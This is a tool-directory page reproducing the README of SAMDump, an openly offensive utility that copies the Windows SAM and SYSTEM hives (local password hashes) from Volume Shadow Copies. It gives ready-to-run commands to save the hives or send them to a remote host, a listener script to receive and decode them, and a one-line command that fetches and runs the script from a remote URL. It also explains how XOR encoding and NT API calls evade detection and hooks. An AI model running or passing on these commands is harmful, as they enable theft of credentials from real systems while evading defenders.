Baike.dev
All toolsOnline toolsAI codingTrendingOpen sourceNewsSubmit
Log in
< Back to tools
S

SAMDump

> 安全
Open source

Extract the SAM and SYSTEM hives using the Volume Shadow Copy (VSS) API. With exfiltration and XOR obfuscation options. Implemented in C#, C++, Crystal and Pyth

372 stars0 likes2 views
WebsiteGitHub

About

Extract the SAM and SYSTEM hives using the Volume Shadow Copy (VSS) API. With exfiltration and XOR obfuscation options. Implemented in C#, C++, Crystal and Pyth

SAMDump

Extracts Windows SAM and SYSTEM files using Volume Shadow Copy Service (VSS) with multiple exfiltration options and XOR obfuscation:

  • Lists Volume Shadow Copies using VSS and creates one if necessary
  • Extracts SAM and SYSTEM files from the Shadow Copy
  • Uses NT API calls for file operations (NtCreateFile, NtReadFile, NtWriteFile)
  • Supports XOR encoding for obfuscation
  • Exfiltration methods: Local save or Network transfer

It requires elevated privileges, and if created the Shadow Copy is automatically deleted after ~5 minutes.

It is implemented in C++, C#, Crystal, Deno, Python, Rust, Golang and Nim, and it works on modern Windows versions.

Usage

SAMDump.exe [OPTIONS]

Options:
  --save-local [BOOL]    Save locally (default: false)
  --output-dir DIR       Output directory (default: C:\Windows\tasks)
  --send-remote [BOOL]   Send remotely (default: false)
  --host IP              Host for remote sending (default: 127.0.0.1)
  --port PORT            Port for remote sending (default: 7777)
  --xor-encode [BOOL]    XOR Encode (default: false)
  --xor-key KEY          Enable XOR with specified key (default: SAMDump2025)
  --disk DISK            Disk for shadow copy (default: C:\)
  --help                 Show this help

Save locally without encoding:

SAMDump.exe --save-local --output-dir "C:\temp"

Save locally with XOR encoding:

SAMDump.exe --save-local --xor-encode --xor-key "SAMDump2025"

Send to remote server with XOR encoding and the default key:

SAMDump.exe --send-remote --host 192.168.1.72 --port 1234 --xor-encode

Server to receive the files

server.py is a Python server that receives files over network with automatic XOR decoding and filename formatting:

bash
python server.py [OPTIONS]

Options:
  --host HOST     IP address to listen on (default: 0.0.0.0)
  --port PORT     Port to listen on (default: 7777)
  --xor-key KEY   Key for XOR decoding (optional)

Listener on specific interface and port with XOR key:

bash
python server.py --host 192.168.1.72 --port 1234 --xor-key "SAMDump2025"

The filename contains the IP address and the date, so you can send the files from different systems, automating the process.

Script to decode the files

xor-decoder.py is a Python script to decode XOR-encoded SAM and SYSTEM files locally:

bash
python xor-decoder.py [OPTIONS]

Options:
  --sam SAM         Path to encoded SAM file (required)
  --system SYSTEM   Path to encoded SYSTEM file (required)
  --xor-key KEY     XOR key for decoding (default: SAMDump2025)
  --output-dir DIR  Output directory for decoded files (default: ./decoded)

Decode with default key:

bash
python xor-decoder.py --sam sam.txt --system system.txt

Decode with custom key and output directory:

bash
python xor-decoder.py --sam sam.txt --system system.txt --xor-key "MyKey" --output-dir ./results

Motivation

I wanted to automate this process and most Windows I find run VSS, but security solutions detect the use of vssadmin to create Shadow Copies and extract these files because it is a well-known technique.

This tool extracts the files without writing to the target filesystem when using remote transfer mode; and XOR-encoding offers basic obfuscation to evade signature-based detection (even when using remote mode).

Plus, it leverages NT API calls to bypass some monitoring and user-mode API hooks.

NT API Integration

The tool employs NT system calls instead of standard Windows API functions, which might bypass some user-mode API hooks commonly monitored:

  • NtCreateFile and NtReadFile: Used to open a handle and read the bytes of the SAM and SYSTEM files in the Shadow Copy

  • NtWriteFile: Used to save the files locally

Compilation (for Windows)

C++

Open SAMDump.sln in Visual Studio and build.

C#

Compile using Visual Studio or msbuild.

Crystal

bash
cd Crystal
crystal build samdump.cs --release

Deno

bash
cd Deno
deno run --allow-ffi --allow-net --allow-write samdump.js --save-local

Or run it directly from the repo without cloning:

deno run --allow-ffi --allow-net --allow-write https://raw.githubusercontent.com/ricardojoserf/SAMDump/main/Deno/samdump.js --save-local

Rust

bash
cd Rust
cargo build --release
.\target\release\samdump.exe --save-local

Golang

bash
cd Golang
go build -o samdump.exe -ldflags="-s -w" samdump.go
.\samdump.exe --save-local

Nim

bash
cd Nim
nim c -d:release samdump.nim
.\samdump.exe --save-local

Python

You can use the Python script:

bash
cd Python
pip install comtypes
python SAMDump.py --save-local

Or create a stand-alone binary with:

bash
cd Python
pip install pyinstaller
pyinstaller -F SAMDump.py
.\dist\SAMDump.exe --save-local

Acknowledgements

Thanks to @vx-underground for identifying and suggesting optimizations in the Export Address Table (EAT) traversal code, replacing unnecessary NtReadVirtualMemory calls with direct pointer access.

Issues· 0 open

View all issuesOpen on GitHub

No open issues yet, or sync has not completed.

> Tags

C#malware-developmentntapired-teamred-team-tools

No comments yet. Be the first to share.

> Details

PublishedAug 1, 2026
UpdatedSep 17, 2026
Category安全
PricingOpen source

> Related tools

O
OWASP ZAP
开源 Web 应用安全扫描器
O
owasp-wstg-tracker
Simple web app to track OWASP WSTG security testing progress
H
homebridge-mi-gateway-security
XiaoMi Gateway Security plugin for HomeBridge.